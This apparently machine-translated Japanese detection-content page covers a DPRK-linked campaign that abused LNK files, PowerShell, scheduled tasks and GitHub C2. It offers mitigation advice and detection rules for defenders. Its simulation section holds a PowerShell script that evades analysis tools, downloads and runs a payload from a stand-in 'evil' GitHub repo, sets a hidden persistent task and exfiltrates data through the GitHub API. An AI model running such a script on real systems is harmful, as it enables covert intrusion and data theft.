LNKとGitHub C2を使用したDPRK関連のキャンペーン
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
FortiGuard Labsは、DPRK(北朝鮮)に関連するキャンペーンが、LNKショートカットファイルを武器化して、エンコードされたPowerShellステージを起動し、スケジュールされたタスクを通じた永続性を確立し、GitHubを介してデータを抽出することを報告しました。LNKコマンドラインはデコードロジックを埋め込み、オペレーターが組み込まれたWindowsユーティリティに依存し、明白なマルウェアアーティファクトを減少させることを可能にします。この活動は韓国の組織をターゲットにし、マルチステージワークフローに従います。GitHubのような合法的な公共インフラを使用することで、このキャンペーンは通常の開発者トラフィックに溶け込み、ネットワークベースのブロッキングを複雑にします。
調査
アナリストは3段階のチェーンを文書化しました:(1)引数にエンコードされたPowerShellを含むLNKファイル、(2)アンチ分析チェックを実行し、VBScriptをドロップし、隠しスケジュールタスクを作成し、ホスト/システムの詳細を収集するPowerShellステージ、および(3)GitHubリポジトリから追加のモジュールを引き続き取得する最終段階です。複数のGitHubアカウントが、GitHub APIを通じてデータをアップロードするために使用されるハードコーディングされたアクセストークンを含むC2ワークフローをサポートしていることが観察されました。オペレーターはまた、デコイPDFを使用して誘引をより信憑性の高いものにし、ユーザーの疑念を減少させました。
緩和策
信頼されていない場所(メールダウンロード、一時フォルダ、ユーザープロフィールのダウンロードパス)からのLNKファイルの実行をブロックまたは制限します。特に異常なスケジュールタスクの作成に続く疑わしいPowerShellとVBScriptの実行パターンを監視します。可能であれば、ビジネスニーズのないシステムのGitHub APIエンドポイントへのアウトバウンドアクセスを制限またはプロキシし、非開発者ホストからの異常なGitHub API使用をアラートします。ネイティブWindowsツールの悪用をフラグするためのアプリケーション制御とEDR検出を強化します。
対応
検出された場合、エンドポイントを隔離し、LNKファイル、スケジュールタスク定義、および任意のドロップされたスクリプトを収集して証拠を保全します。スケジュールタスクを削除し、公開されたGitHubアクセストークンを取り消し、関連アーティファクトと後続モジュールのための完全なホストスイープを実行します。関連する利害関係者に通知し、観察された行動とIOCをカバーするための検出コンテンツを更新し、広範な環境探索をサポートします。
"graph TB %% クラス定義 classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef process fill:#ffef99 classDef malware fill:#ff9999 %% ノード action_initial_access["<b>アクション</b> – <b>T1566.001 フィッシング:スピアフィッシング添付ファイル</b><br/>韓国PDFに偽装した悪意ある.lnkの配信"] class action_initial_access action tool_lnk["<b>ツール</b> – <b>名前</b>: .lnk ショートカット<br/><b>手法</b>: T1547.009 ショートカットの改変"] class tool_lnk tool action_execution_lnk["<b>アクション</b> – <b>T1547.009 ブートまたはログオン自動開始の実行: ショートカットの改変</b><br/>ショートカットがPowerShellをトリガーします"] class action_execution_lnk action tool_powershell["<b>ツール</b> – <b>名前</b>: PowerShell<br/><b>手法</b>: T1059.001 コマンドとスクリプトインタープリタ"] class tool_powershell tool action_obfuscation["<b>アクション</b> – <b>難読化技術</b><br/>T1027.012 アイコン密輸、T1027.008 ストリップペイロード、T1027.009 埋め込んだペイロード"] class action_obfuscation action action_sandbox_evasion["<b>アクション</b> – <b>T1497.002 仮想化/サンドボックス回避</b><br/>分析ツールをチェックして中断します"] class action_sandbox_evasion action action_decode_payload["<b>アクション</b> – <b>T1059.001 PowerShell</b><br/>Base64/XORをデコードし、VBScriptを%Temp%に書き込みます"] class action_decode_payload action tool_vbscript["<b>ツール</b> – <b>名前</b>: VBScript<br/>%Temp%にスクリプトを書き込む"] class tool_vbscript tool tool_scheduled_task["<b>ツール</b> – <b>名前</b>: スケジュールタスク<br/><b>手法</b>: T1037 ブートまたはログオンの初期化スクリプト"] class tool_scheduled_task tool action_persistence["<b>アクション</b> – <b>永続性</b><br/>VBScriptを30分ごとに実行します"] class action_persistence action action_discovery["<b>アクション</b> – <b>発見</b><br/>T1082 システム情報の発見、T1057 プロセスの発見"] class action_discovery action action_c2["<b>アクション</b> – <b>指揮統制</b><br/>T1567.001 GitHubへのデータ抽出、T1102.002 双方向Webサービス、T1538 クラウドサービスダッシュボード"] class action_c2 action tool_github["<b>ツール</b> – <b>名前</b>: GitHub API<br/>データ抽出とモジュール取得に使用されます"] class tool_github tool %% 接続 action_initial_access –>|配信| tool_lnk tool_lnk –>|トリガー| action_execution_lnk action_execution_lnk –>|使用| tool_powershell tool_powershell –>|実行| action_obfuscation action_obfuscation –>|につながる| action_sandbox_evasion action_sandbox_evasion –>|続行する| action_decode_payload action_decode_payload –>|書く| tool_vbscript tool_vbscript –>|作成| tool_scheduled_task tool_scheduled_task –>|有効にする| action_persistence action_persistence –>|データを収集する| action_discovery action_discovery –>|データを送信する| action_c2 action_c2 –>|使用| tool_github "
アタックフロー
検出
疑わしいPowerShell難読化指標(PowerShell経由)
Proof of Value
非通常プロセスによって開始された可能性のあるGitHubファイルダウンロード(ネットワーク接続経由)
Proof of Value
疑わしいPowerShell文字列(PowerShell経由)
Proof of Value
PowerShellによるダウンロードまたはアップロード(cmdline経由)
Proof of Value
隠されたPowerShellコマンドラインを介した実行の可能性(cmdline経由)
Proof of Value
ダブル拡張を持つ可能性のある悪意あるLNKファイル(cmdline経由)
Proof of Value
可能な回避チェック(PowerShell経由)
Proof of Value
疑わしいPowerShell文字列(cmdline経由)
Proof of Value
可能なスケジュールタスクの作成(PowerShell経由)
Proof of Value
IOC(HashSha256)に基づく検出:LNKとGitHub C2を利用するDPRK関連キャンペーン
Proof of Value
GitHubからのPowerShellスクリプトフェッチによる永続性とデータ抽出 [Windows PowerShell]
Proof of Value
シミュレーション実行
必須条件:テレメトリーとベースラインの事前フライトチェックが合格していること。
基本原理:このセクションは、検出ルールを引き起こすように設計された敵対技術(TTP)の正確な実行を詳述します。コマンドとナarrativeは直接TTPsを反映し、検出論理によって期待される正確なテレメトリーを生成することを目的としています。
-
攻撃ナラティブとコマンド:
敵対者は、Windowsワークステーション上で低特権ユーザーアカウントを妥協しました。持続性を維持し、データを静かに抽出するために、彼らは次のような単一のPowerShellワンライナーを作成します:- 一般的な分析ツールプロセスをチェックします(
vmxnet,vboxservice,idaq,fiddler,wireshark)。それらが存在する場合、スクリプトは中断します。 - パブリックGitHubリポジトリからBase64エンコードされたペイロードをダウンロードします(
https://raw.githubusercontent.com/evil/loot/main/payload.b64). - メモリ内でペイロードをデコードして実行します。
- を介してスケジュールタスクを登録します
New-ScheduledTaskAction各起動時に同じPowerShellコマンドを再実行します(永続性)。 - GitHub APIを使用して攻撃者のGitHubリポジトリに盗んだデータを送信します(
api.github.com).
すべてのステップがセミコロンで連結されており、これは 全ての コマンドラインがSigmaルールに必要な文字列を含んでいることを保証します。
- 一般的な分析ツールプロセスをチェックします(
-
回帰テストスクリプト:
# ------------------------------------------------- # Sigma条件を満たすワンライナー # ------------------------------------------------- $envChecks = "vmxnet","vboxservice","idaq","fiddler","wireshark" foreach($c in $envChecks){ if (Get-Process -Name $c -ErrorAction SilentlyContinue){ exit } } $b64 = Invoke-RestMethod -Uri "https://raw.githubusercontent.com/evil/loot/main/payload.b64" $bytes = [System.Convert]::FromBase64String($b64) $decoded = [System.Text.Encoding]::UTF8.GetString($bytes) IEX $decoded $action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-NoProfile -WindowStyle Hidden -Command `"& {<INSERT SAME ONE‑Liner HERE>}`"" $trigger = New-ScheduledTaskTrigger -AtLogon Register-ScheduledTask -TaskName "SysUpdate" -Action $action -Trigger $trigger -RunLevel Highest -Force # サンプルデータを抽出 $data = "SensitiveInfo" $json = @{content=$data} | ConvertTo-Json Invoke-RestMethod -Method Post -Uri "https://api.github.com/repos/evil/collector/contents/data.txt" -Body $json -Headers @{Authorization="token <PAT>"}注意: 置き換え
<INSERT SAME ONE‑Liner HERE>は、全く同じワンライナー(再帰)であるか、重複を避けるために変数に保存します。このスクリプトは、各ステップを示すために意図的に冗長です。実際のキャンペーンでは、敵対者はそれをさらに圧縮します。 -
クリーンアップコマンド:
# スケジュールタスクを削除 Unregister-ScheduledTask -TaskName "SysUpdate" -Confirm:$false # 任意の一時ファイルを削除(もし存在する場合) Remove-Item -Path "$env:TEMPpayload.b64" -ErrorAction SilentlyContinue # オプションで、悪意のあるメモリ内プロセスを終了させる(まだ動作中の場合) Get-Process -Name "powershell" | Where-Object {$_.StartInfo.Arguments -match "evil"} | Stop-Process -Force